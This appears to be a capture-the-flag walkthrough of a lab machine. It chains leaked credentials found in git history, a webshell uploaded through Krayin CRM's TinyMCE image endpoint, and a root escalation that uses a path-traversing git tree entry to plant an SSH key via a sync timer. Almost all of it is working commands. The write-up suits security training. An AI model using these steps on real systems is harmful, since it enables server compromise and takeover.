Nexus: Krayin RCE to Git Sync Privesc

$ nmap -p- --min-rate 5000 -sS 10.129.21.192
$ nmap -sC -sV -A -oN nmap_report.txt 10.129.21.192

PORT   STATE SERVICE
22/tcp open  ssh      OpenSSH 9.6p1 Ubuntu
80/tcp open  http     nginx 1.24.0 (Ubuntu)

$ ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs <size-of-default-response>

Found: git.nexus.htb       → Gitea
Found: billing.nexus.htb   → Krayin CRM (v2.2.0)

$ git clone http://git.nexus.htb/<org>/<repo>.git
$ cd <repo>
$ git log --all --oneline -- .env
$ git show <old-commit-hash> -- .env

DB_PASSWORD=[REDACTED]

# log in to Krayin with the recovered creds, open any note/email composer
# that embeds TinyMCE — that exposes the image-upload endpoint

# intercept the upload in Burp, rename shell.png → shell.php,
# swap the body for a PHP webshell/reverse-shell payload, forward it

# request the uploaded path back to trigger it
$ curl "http://billing.nexus.htb/storage/tinymce/<hash>.php?cmd=id"
uid=33(www-data) gid=33(www-data)

$ cat /var/www/krayin/.env
DB_USERNAME=krayin
DB_PASSWORD=[REDACTED]

$ ssh jones@nexus.htb
Password: [REDACTED]

$ cat /home/jones/user.txt

$ systemctl list-timers --all
gitea-template-sync.timer   1min

$ systemctl cat gitea-template-sync.timer
$ cat /etc/gitea/template-sync.py

# local keypair for the root login
$ ssh-keygen -t ed25519 -f /tmp/root_key -N ""

# blob containing my public key
$ git hash-object -w --stdin < /tmp/root_key.pub

# tree entry whose path escapes the templates directory
$ printf "100644 blob <blob-sha>\t../../../../../root/.ssh/authorized_keys\n" | git mktree

# commit + push to the repo the sync job tracks
$ git commit-tree <tree-sha> -m "template update" | xargs -I{} git update-ref refs/heads/main {}
$ git push origin main

# wait ~60s for the timer, then log in with the planted key
$ ssh -i /tmp/root_key root@nexus.htb

$ cat /root/root.txt